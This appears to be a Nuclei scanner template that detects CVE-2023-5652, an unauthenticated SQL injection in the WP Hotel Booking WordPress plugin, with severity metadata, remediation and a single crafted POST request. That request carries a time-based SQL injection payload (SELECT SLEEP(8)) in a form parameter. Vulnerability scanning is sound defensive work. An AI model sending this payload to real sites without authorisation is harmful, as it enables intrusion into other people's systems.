WP Hotel Booking <= 2.0.7 - SQL Injection

id: CVE-2023-5652

info:
  name: WP Hotel Booking <= 2.0.7 - SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    WP Hotel Booking WordPress plugin before 2.0.8 contains a SQL injection caused by lack of authorization, CSRF checks, and input escaping in a function hooked to admin_init, letting unauthenticated users perform SQL injections, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.
  remediation: |
    Update to version 2.0.8 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-hotel-booking/wp-hotel-booking-207-unauthenticated-sql-injection
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5652
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-5652
    epss-score: 0.66577
    epss-percentile: 0.9856
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2023,wordpress,wp,wp-plugin,sqli,wp-hotel-booking,unauth

http:
  - raw:
      - |
        @timeout: 30s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        action=x&taxonomy=hb_room_type&hb_room_type_ordering[1]=0 END, name=(SELECT SLEEP(8)), term_id=CASE when 1=1 THEN 1

    matchers:
      - type: dsl
        dsl:
          - 'duration>=8'
          - 'regex("^0$", body)'
          - 'status_code == 400'
          - 'contains(content_type, "text/html")'
        condition: and
# digest: 4a0a0047304502203971528765f88991a1ddf0e908f8a5feb37c45b666cf1b3b39a52e72205909cc022100afeaeb33dfdec1a8ad178780073fd657011791ebf1b56ce22556605b853ede5e:922c64590222798bb761d5b6d8e72950